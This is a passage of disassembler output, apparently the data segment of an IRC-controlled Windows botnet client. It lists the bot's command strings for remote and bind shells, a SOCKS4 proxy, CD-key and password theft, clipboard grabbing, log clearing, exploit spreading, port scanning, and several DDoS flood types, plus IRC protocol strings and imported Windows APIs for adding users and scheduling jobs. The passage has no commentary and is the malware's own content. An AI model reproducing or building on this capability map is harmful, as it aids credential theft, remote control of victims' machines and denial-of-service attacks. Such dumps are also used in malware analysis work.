unk_4328A8 db 2Dh ; - ; DATA XREF: .nsp0:00403FDBo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0
align 10h
unk_4328D0 db 2Dh ; - ; DATA XREF: .nsp0:00403FBCo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellAlr db '- Remote shell already running.',0
align 4
dword_4328FC dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h
; DATA XREF: .nsp0:00403FA6o
dd 72616F62h, 2E64h
dword_432918 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h
; DATA XREF: .nsp0:00403F78o
dd 2Dh
unk_432930 db 2Dh ; - ; DATA XREF: .nsp0:loc_403F68o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushA db 'Failed to flush ARP cache.',0
align 4
unk_43295C db 2Dh ; - ; DATA XREF: .nsp0:00403F61o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheFlushe db 'ARP cache flushed.',0
align 10h
unk_432980 db 2Dh ; - ; DATA XREF: .nsp0:loc_403F3Do
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToLoadDn db 'Failed to load dnsapi.dll.',0
align 4
unk_4329AC db 2Dh ; - ; DATA XREF: .nsp0:loc_403F36o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushD db 'Failed to flush DNS cache.',0
align 4
unk_4329D8 db 2Dh ; - ; DATA XREF: .nsp0:00403F2Fo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aDnsCacheFlushe db 'DNS cache flushed.',0
align 4
unk_4329FC db 2Dh ; - ; DATA XREF: .nsp0:00403EC2o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToSta_24 db '- Failed to start server thread, error: <%d>.',0
align 4
unk_432A38 db 2Dh ; - ; DATA XREF: .nsp0:00403E57o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0
unk_432A74 db 2Dh ; - ; DATA XREF: .nsp0:00403D8Eo
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_25 db ' Failed to start server thread, error: <%d>.',0
align 10h
unk_432AB0 db 2Dh ; - ; DATA XREF: .nsp0:00403D1Fo
; sub_40B9DD+449o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_432AEC db 2Dh ; - ; DATA XREF: .nsp0:00403C18o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_26 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_432B28 db 2Dh ; - ; DATA XREF: .nsp0:00403BA9o
; sub_40B9DD+DAo
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aServerStarte_1 db ' Server started on Port: %d, File: %s.',0
align 4
unk_432B5C db 2Dh ; - ; DATA XREF: .nsp0:00403AF7o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aAlreadyRunni_3 db ' Already running.',0
align 4
unk_432B7C db 2Dh ; - ; DATA XREF: .nsp0:loc_403AE1o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToSta_27 db '- Failed to start scan, port is invalid.',0
align 4
unk_432BB4 db 2Dh ; - ; DATA XREF: .nsp0:00403A91o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToSta_28 db '- Failed to start scan thread, error: <%d>.',0
align 10h
unk_432BF0 db 2Dh ; - ; DATA XREF: .nsp0:00403A20o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aSPortScanSta_0 db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
db ' minutes using %d threads.',0
align 4
aSequential db 'Sequential',0 ; DATA XREF: .nsp0:004039F5o
; .nsp0:00407651o
align 4
aRandom db 'Random',0 ; DATA XREF: .nsp0:004039EEo
; .nsp0:0040764Ao
align 10h
unk_432C70 db 2Dh ; - ; DATA XREF: .nsp0:0040383Bo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aAlreadyDScan_0 db '- Already %d scanning threads. Too many specified.',0
unk_432CB0 db 2Dh ; - ; DATA XREF: .nsp0:004037DDo
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToSta_29 db 'Failed to start search thread, error: <%d>.',0
unk_432CEC db 2Dh ; - ; DATA XREF: .nsp0:0040374Bo
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aSearchingForPa db 'Searching for password.',0
aFp db 'fp',0 ; DATA XREF: .nsp0:0040371Do
align 4
aFindpass db 'findpass',0 ; DATA XREF: .nsp0:0040370Co
align 4
aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: .nsp0:004036F9o
align 4
aPhonehome db 'phonehome',0 ; DATA XREF: .nsp0:004036E2o
align 4
aVall db 'vall',0 ; DATA XREF: .nsp0:004036CDo
align 4
aScanall db 'scanall',0 ; DATA XREF: .nsp0:004036B8o
dword_432D64 dd 234032Dh, 6E69616Dh, 202D0302h, 73617243h, 676E6968h
; DATA XREF: .nsp0:00403668o
dd 746F6220h, 2Eh
aCrassh db 'crassh',0 ; DATA XREF: .nsp0:00403652o
align 4
aTftp db 'tftp',0 ; DATA XREF: .nsp0:0040363Do
align 10h
aTftpserver db 'tftpserver',0 ; DATA XREF: .nsp0:00403628o
align 4
aHttpserver db 'httpserver',0 ; DATA XREF: .nsp0:004035FEo
align 4
aRlogin db 'rlogin',0 ; DATA XREF: .nsp0:004035E9o
align 10h
aRloginserver db 'rloginserver',0 ; DATA XREF: .nsp0:004035D4o
align 10h
aCip db 'cip',0 ; DATA XREF: .nsp0:004035BFo
aCurrentip db 'currentip',0 ; DATA XREF: .nsp0:004035AAo
align 10h
aFdns db 'fdns',0 ; DATA XREF: .nsp0:00403595o
align 4
aFlushdns db 'flushdns',0 ; DATA XREF: .nsp0:00403580o
align 4
aFarp db 'farp',0 ; DATA XREF: .nsp0:0040356Bo
align 4
aFlusharp db 'flusharp',0 ; DATA XREF: .nsp0:00403556o
align 4
aGc db 'gc',0 ; DATA XREF: .nsp0:00403541o
align 4
aGetclip db 'getclip',0 ; DATA XREF: .nsp0:0040352Co
unk_432E04 db 2Dh ; - ; DATA XREF: .nsp0:004034EEo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingDisabl db ' Spoofing disabled.',0
aOff db 'off',0 ; DATA XREF: .nsp0:004034D3o
; .nsp0:00405794o ...
aSpoof db 'spoof',0 ; DATA XREF: .nsp0:004034BCo
align 4
unk_432E38 db 2Dh ; - ; DATA XREF: .nsp0:0040349Co
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aLoginListCompl db 'Login list complete.',0
align 4
aD_S db '%d. %s',0 ; DATA XREF: .nsp0:00403477o
align 4
aEmpty db '<Empty>',0 ; DATA XREF: .nsp0:loc_40346Ao
dword_432E6C dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh
; DATA XREF: .nsp0:0040344Ao
dword_432E80 dd 6F6877h dword_432E84 dd 234032Dh, 2646D63h, 2D03hdword_432E90 dd 6F6D6552h, 73206574h, 6C6C6568h, 0aCmdstop db 'cmdstop',0 ; DATA XREF: .nsp0:00403404o
aOcmd db 'ocmd',0 ; DATA XREF: .nsp0:004033EFo
align 10h
aOpencmd db 'opencmd',0 ; DATA XREF: .nsp0:004033DAo
aDll db 'dll',0 ; DATA XREF: .nsp0:004033C5o
aTestdlls db 'testdlls',0 ; DATA XREF: .nsp0:004033B0o
align 4
aDrv db 'drv',0 ; DATA XREF: .nsp0:0040339Bo
aDriveinfo db 'driveinfo',0 ; DATA XREF: .nsp0:00403386o
align 4
aUp db 'up',0 ; DATA XREF: .nsp0:00403371o
align 4
aUptime db 'uptime',0 ; DATA XREF: .nsp0:0040335Co
align 4
aGetcdkeys db 'getcdkeys',0 ; DATA XREF: .nsp0:00403332o
align 10h
aPs db 'ps',0 ; DATA XREF: .nsp0:0040331Do
align 4
aProcs db 'procs',0 ; DATA XREF: .nsp0:00403308o
align 4
aR0i0m db 'r0i0m',0 ; DATA XREF: .nsp0:004032F3o
align 4
aRemov db 'remov`]',0 ; DATA XREF: .nsp0:004032DEo
aSi db 'si',0 ; DATA XREF: .nsp0:004032C9o
align 10h
aSysinfo db 'sysinfo',0 ; DATA XREF: .nsp0:004032B4o
aNi db 'ni',0 ; DATA XREF: .nsp0:0040329Fo
align 4
aNetinfo db 'netinfo',0 ; DATA XREF: .nsp0:0040328Ao
aClg db 'clg',0 ; DATA XREF: .nsp0:00403275o
aClearlog db 'clearlog',0 ; DATA XREF: .nsp0:00403260o
align 4
aL0g db 'l0g',0 ; DATA XREF: .nsp0:0040324Bo
aLo0g db 'lo0g',0 ; DATA XREF: .nsp0:00403236o
align 10h
aAl db 'al',0 ; DATA XREF: .nsp0:00403221o
align 4
aThreads db 'threads',0 ; DATA XREF: .nsp0:004031E2o
unk_432F4C db 2Dh ; - ; DATA XREF: .nsp0:004031AEo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToReboot db 'Failed to reboot system.',0
align 4
unk_432F74 db 2Dh ; - ; DATA XREF: .nsp0:004031A7o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRebootingSyste db 'Rebooting system.',0
align 4
aReboot db 'reboot',0 ; DATA XREF: .nsp0:00403190o
align 4
aId db 'id',0 ; DATA XREF: .nsp0:00403166o
align 10h
aStatus db 'status',0 ; DATA XREF: .nsp0:0040313Co
align 4
aQuit_0 db 'quit',0 ; DATA XREF: .nsp0:00403112o
align 10h
aDc db 'dc',0 ; DATA XREF: .nsp0:004030FDo
align 4
aDisconnect db 'disconnect',0 ; DATA XREF: .nsp0:004030E8o
align 10h
aR: ; DATA XREF: .nsp0:004030D3o
; .nsp0:0040588Do ...
unicode 0, <r>,0
aReconnect db 'reconnect',0 ; DATA XREF: .nsp0:004030BEo
align 10h
aExplist db 'explist',0 ; DATA XREF: .nsp0:004030A9o
aExploitlist db 'exploitlist',0 ; DATA XREF: .nsp0:00403094o
aCbstats db 'cbstats',0 ; DATA XREF: .nsp0:0040307Fo
aConnectbacksta db 'connectbackstats',0 ; DATA XREF: .nsp0:0040306Ao
align 10h
aTrstats db 'trstats',0 ; DATA XREF: .nsp0:00403055o
aTransferstats db 'transferstats',0 ; DATA XREF: .nsp0:00403040o
align 4
aStats db 'stats',0 ; DATA XREF: .nsp0:0040302Bo
align 10h
aScanstats db 'scanstats',0 ; DATA XREF: .nsp0:00403016o
align 4
dword_43302C dd 234032Dh, 6E616373h, 2D0302haScan_0 db 'Scan',0 ; DATA XREF: .nsp0:00403006o
align 10h
aScanstop db 'scanstop',0 ; DATA XREF: .nsp0:00402FEDo
align 4
dword_43304C dd 234032Dh, 75636573h, 3026572h, 2DhaSecure_0 db 'Secure',0 ; DATA XREF: .nsp0:00402FDDo
align 4
aSecurestop db 'securestop',0 ; DATA XREF: .nsp0:00402FC4o
align 10h
dword_433070 dd 234032Dh, 6E6F6C63h, 3027365h, 2DhaClone db 'Clone',0 ; DATA XREF: .nsp0:00402FB4o
align 4
aClonestop db 'clonestop',0 ; DATA XREF: .nsp0:00402F9Bo
align 4
aPsstop db 'psstop',0 ; DATA XREF: .nsp0:00402F86o
align 4
aProcsstop db 'procsstop',0 ; DATA XREF: .nsp0:00402F71o
align 4
aFfstop db 'ffstop',0 ; DATA XREF: .nsp0:00402F5Co
align 10h
aFindfilestop db 'findfilestop',0 ; DATA XREF: .nsp0:00402F47o
align 10h
dword_4330C0 dd 234032Dh, 70746674h, 2D030264h, 0aTftpstop db 'tftpstop',0 ; DATA XREF: .nsp0:00402F1Eo
align 4
aPingstop db 'pingstop',0 ; DATA XREF: .nsp0:00402EF5o
align 4
aUdpstop db 'udpstop',0 ; DATA XREF: .nsp0:00402ECCo
aWisdomstop db 'wisdomstop',0 ; DATA XREF: .nsp0:00402EA3o
align 4
aTsunamistop db 'tsunamistop',0 ; DATA XREF: .nsp0:00402E7Ao
unk_433108 db 2Dh ; - ; DATA XREF: .nsp0:00402E60o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aAllPacketingAc db 'All packeting activity has been halted.',0
dword_43313C dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; .nsp0:00402EC1o
dword_43314C dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; .nsp0:00402EBCo
dword_43315C dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; .nsp0:00402E98o
dword_43316C dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; .nsp0:00402E93o
dword_43317C dd 234032Dh, 676E6970h, 2D0302h ; .nsp0:00402F13o
dword_433188 dd 676E6950h, 6F6C6620h, 646Fh ; .nsp0:00402F0Eo
dword_433194 dd 234032Dh, 2706475h, 2D03h ; .nsp0:00402EEAo
dword_4331A0 dd 20504455h, 6F6F6C66h, 64h ; .nsp0:00402EE5o
aPacketstop db 'packetstop',0 ; DATA XREF: .nsp0:00402D24o
align 4
dword_4331B8 dd 234032Dh, 6B6E6F77h, 2D0302h ; .nsp0:00402DE6o
dword_4331C4 dd 6B6E6F57h, 6F6C6620h, 646Fh ; .nsp0:00402DE1o
aWonkstop db 'wonkstop',0 ; DATA XREF: .nsp0:00402CFBo
align 4
dword_4331DC dd 234032Dh, 67726174h, 3023361h, 2Dh ; .nsp0:00402DC8o
dword_4331EC dd 67726154h, 66203361h, 646F6F6Ch, 0 ; .nsp0:00402DC3o
aTarga3stop db 'targa3stop',0 ; DATA XREF: .nsp0:00402CD2o
align 4
dword_433208 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; .nsp0:00402E46o
dword_433218 dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; .nsp0:00402E41o
aSkysynstop db 'skysynstop',0 ; DATA XREF: .nsp0:00402CA9o
align 4
dword_433234 dd 234032Dh, 26E7973h, 2D03h ; .nsp0:00402D68o
dword_433240 dd 206E7953h, 6F6F6C66h, 64h ; .nsp0:00402D63o
aSy1stop db 'sy1stop',0 ; DATA XREF: .nsp0:00402C80o
dword_433254 dd 234032Dh, 736F6464h, 2D0302h ; .nsp0:00402D4Ao
dword_433260 dd 536F4444h, 6F6C6620h, 646Fh ; .nsp0:00402D45o
dword_43326C dd 736F6464h, 6F74732Eh, 70hdword_433278 dd 234032Dh, 69646572h, 74636572h, 2D0302hdword_433288 dd 20504354h, 69646572h, 74636572h, 0aRedirectstop db 'redirectstop',0 ; DATA XREF: .nsp0:00402C2Eo
align 4
dword_4332A8 dd 234032Dh, 2676F6Ch, 2D03hdword_4332B4 dd 20676F4Ch, 7473696Ch, 0aLogstop db 'logstop',0 ; DATA XREF: .nsp0:00402C05o
dword_4332C8 dd 234032Dh, 70747468h, 2D030264h, 0aHttpstop db 'httpstop',0 ; DATA XREF: .nsp0:00402BDCo
align 4
dword_4332E4 dd 234032Dh, 676F6C72h, 2646E69h, 2D03haRloginstop db 'rloginstop',0 ; DATA XREF: .nsp0:00402BB3o
align 10h
dword_433300 dd 234032Dh, 6B636F73h, 3023473h, 2DhaSocks4stop db 'socks4stop',0 ; DATA XREF: .nsp0:00402B8Do
align 4
aS4 db 's4',0 ; DATA XREF: .nsp0:00402B78o
align 10h
aSocks4 db 'socks4',0 ; DATA XREF: .nsp0:00402B63o
align 4
dword_433328 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0aServer_0 db 'Server',0 ; DATA XREF: .nsp0:00402B3Co
; .nsp0:00402BA6o ...
align 4
aBindshellstop db 'bindshellstop',0 ; DATA XREF: .nsp0:00402B23o
align 4
aBd db 'bd',0 ; DATA XREF: .nsp0:00402B0Eo
align 4
aBindshell db 'bindshell',0 ; DATA XREF: .nsp0:00402AF9o
align 4
aUnsec db 'unsec',0 ; DATA XREF: .nsp0:00402AE4o
align 4
aUnsecure db 'unsecure',0 ; DATA XREF: .nsp0:00402ACFo
align 4
aSec db 'sec',0 ; DATA XREF: .nsp0:00402ABAo
; .nsp0:00404860o
aSecure db 'secure',0 ; DATA XREF: .nsp0:00402AA5o
; .nsp0:0040484Fo
align 4
aSt db 'st',0 ; DATA XREF: .nsp0:00402A90o
align 4
aSpeedtest db 'speedtest',0 ; DATA XREF: .nsp0:00402A7Bo
align 4
aDed db 'ded',0 ; DATA XREF: .nsp0:00402A66o
aDedication db 'dedication',0 ; DATA XREF: .nsp0:00402A51o
align 4
aVer db 'ver',0 ; DATA XREF: .nsp0:00402A3Co
aVersion db 'version',0 ; DATA XREF: .nsp0:00402A27o
aLo db 'lo',0 ; DATA XREF: .nsp0:00402A12o
align 4
aDie db 'die',0 ; DATA XREF: .nsp0:004029D3o
aRn db 'rn',0 ; DATA XREF: .nsp0:004029BEo
align 4
aRndnick db 'rndnick',0 ; DATA XREF: .nsp0:004029A6o
a63 db '63',0 ; DATA XREF: .nsp0:00402873o
align 4
asc_4333C8: ; DATA XREF: .nsp0:0040284Bo
unicode 0, <)>,0
aChr db '$chr(',0 ; DATA XREF: .nsp0:0040280Eo
align 4
aServer_2 db '$server',0 ; DATA XREF: .nsp0:00402803o
aRndnick_0 db '$rndnick',0 ; DATA XREF: .nsp0:004027F2o
align 4
aChan db '$chan',0 ; DATA XREF: .nsp0:004027D6o
align 10h
aUser_2 db '$user',0 ; DATA XREF: .nsp0:004027C5o
align 4
aMe db '$me',0 ; DATA XREF: .nsp0:004027B3o
aD_0 db '$%d',0 ; DATA XREF: .nsp0:00402745o
aD_1 db '$%d-',0 ; DATA XREF: .nsp0:00402681o
align 4
aHi_0 db 'hi',0 ; DATA XREF: .nsp0:004025A9o
align 4
unk_43340C db 2Dh ; - ; DATA XREF: .nsp0:0040256Eo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0
align 10h
unk_433440 db 2Dh ; - ; DATA XREF: .nsp0:0040255Do
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatAlreadyAct db '- Chat already active with user: %s.',0
align 10h
unk_433470 db 2Dh ; - ; DATA XREF: .nsp0:0040254Co
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_30 db '- Failed to start chat thread, error: <%d>.',0
align 4
unk_4334A8 db 2Dh ; - ; DATA XREF: .nsp0:004024DDo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFromUserS_ db '- Chat from user: %s.',0
align 4
aChat db 'CHAT',0 ; DATA XREF: .nsp0:00402449o
align 10h
unk_4334D0 db 2Dh ; - ; DATA XREF: .nsp0:0040242Fo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
align 4
dword_433514 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: .nsp0:00402411o
dd 0A0Dh
dword_43352C dd 4E495001h, 47hdword_433534 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: .nsp0:004023D2o
dd 0D017325h, 0Ah
dword_433550 dd 52455601h, 4E4F4953h, 1unk_43355C db 2Dh ; - ; DATA XREF: .nsp0:00402287o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
align 4
aS_2 db '%s',0 ; DATA XREF: .nsp0:0040220Eo
; .nsp0:00402486o ...
align 10h
aSend_0 db 'SEND',0 ; DATA XREF: .nsp0:004021E7o
align 4
dword_433598 dd 43434401h, 0 dword_4335A0 dd 323333h ; .nsp0:004025CBo ...
aNotice db 'NOTICE',0 ; DATA XREF: .nsp0:00402131o
; sub_4099D2+Fo
align 4
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: .nsp0:00402125o
; sub_4099D2+16o
unk_4335B4 db 2Dh ; - ; DATA XREF: .nsp0:004020D1o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedOut db 'User: %s logged out.',0
align 4
unk_4335D8 db 2Dh ; - ; DATA XREF: .nsp0:004020B0o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aJoinedChanne_0 db 'Joined channel: %s.',0
a353 db '353',0 ; DATA XREF: .nsp0:0040207Fo
aQuit db 'QUIT',0 ; DATA XREF: .nsp0:0040203Do
; sub_40F168+5C3o
align 4
aPart db 'PART',0 ; DATA XREF: .nsp0:0040202Co
; .nsp0:004020F1o
align 4
aSS db ':%s%s',0 ; DATA XREF: .nsp0:00402004o
align 4
aNick db 'NICK',0 ; DATA XREF: .nsp0:00401EF7o
align 4
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: .nsp0:00401EB8o
; .nsp0:00402115o
unk_43362C db 2Dh ; - ; DATA XREF: .nsp0:00401E9Fo
; .nsp0:004049B3o ...
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedO_0 db 'User %s logged out.',0
aKick db 'KICK',0 ; DATA XREF: .nsp0:00401E38o
align 4
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: .nsp0:00401E02o
; .nsp0:004096CBo ...
align 10h
a433 db '433',0 ; DATA XREF: .nsp0:00401DDAo
; sub_417DCC:loc_417E43o
a302 db '302',0 ; DATA XREF: .nsp0:00401D9Fo
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: .nsp0:00401D5Co
; .nsp0:00408B09o ...
align 4
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: .nsp0:00401D3Bo
align 4
aPing db 'PING',0 ; DATA XREF: .nsp0:00401D2Ao
; sub_417DCC+50o
align 4
asc_43368C: ; DATA XREF: .nsp0:00401C1Co
; .nsp0:0040294Bo ...
unicode 0, < >,0
asc_433690 db ' :',0 ; DATA XREF: .nsp0:00401BFAo
; .nsp0:loc_402623o
align 4
aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_4099D2+58o
aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409A6D+C7Fo
align 4
aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409A6D+C77o
aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409A6D:loc_40A6D7o
align 4
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409A6D+C15o
align 4
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409A6D+C08o
align 4
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409A6D+BFBo
align 4
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409A6D+BEEo
align 4
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409A6D+BE1o
align 4
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409A6D+BD9o
align 4
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409A6D:loc_40A639o
align 4
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409A6D+B97o
align 4
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409A6D+B8Fo
align 4
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409A6D:loc_40A5EFo
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409A6D+B3Do
align 4
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409A6D+B30o
align 10h
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409A6D+B23o
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409A6D+B1Bo
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409A6D:loc_40A57Bo
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409A6D+AD9o
align 4
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409A6D+AD1o
align 4
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409A6D:loc_40A531o
align 4
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409A6D+A8Fo
align 4
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409A6D+A87o
align 4
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409A6D:loc_40A4E7o
align 4
aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409A6D+9F9o
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409A6D+9ECo
; sub_418E3D+65o
align 10h
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409A6D+9DFo
align 10h
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409A6D+9D2o
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409A6D+9C5o
align 4
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409A6D+9B8o
align 4
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409A6D+9ABo
align 4
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409A6D+99Eo
align 4
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409A6D+991o
align 4
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409A6D+984o
align 4
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409A6D+977o
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409A6D+96Fo
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409A6D:loc_40A3CBo
; sub_418E3D+58o
align 4
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409A6D+921o
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409A6D+914o
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409A6D+90Co
align 4
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409A6D:loc_40A36Co
align 10h
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409A6D+8D2o
align 4
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409A6D+860o
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409A6D+853o
align 4
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409A6D+846o
align 4
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409A6D+839o
align 4
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409A6D+82Co
align 4
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409A6D+81Fo
align 10h
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409A6D+812o
align 4
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409A6D+805o
align 4
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409A6D+7F8o
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409A6D+7F0o
align 10h
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409A6D:loc_40A24Co
aClosesocket db 'closesocket',0 ; DATA XREF: sub_409A6D+6A6o
aGetpeername db 'getpeername',0 ; DATA XREF: sub_409A6D+699o
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409A6D+68Co
align 4
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409A6D+67Fo
align 4
aGethostname db 'gethostname',0 ; DATA XREF: sub_409A6D+672o
aGetsockname db 'getsockname',0 ; DATA XREF: sub_409A6D+665o
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409A6D+658o
align 4
aListen db 'listen',0 ; DATA XREF: sub_409A6D+63Eo
align 10h
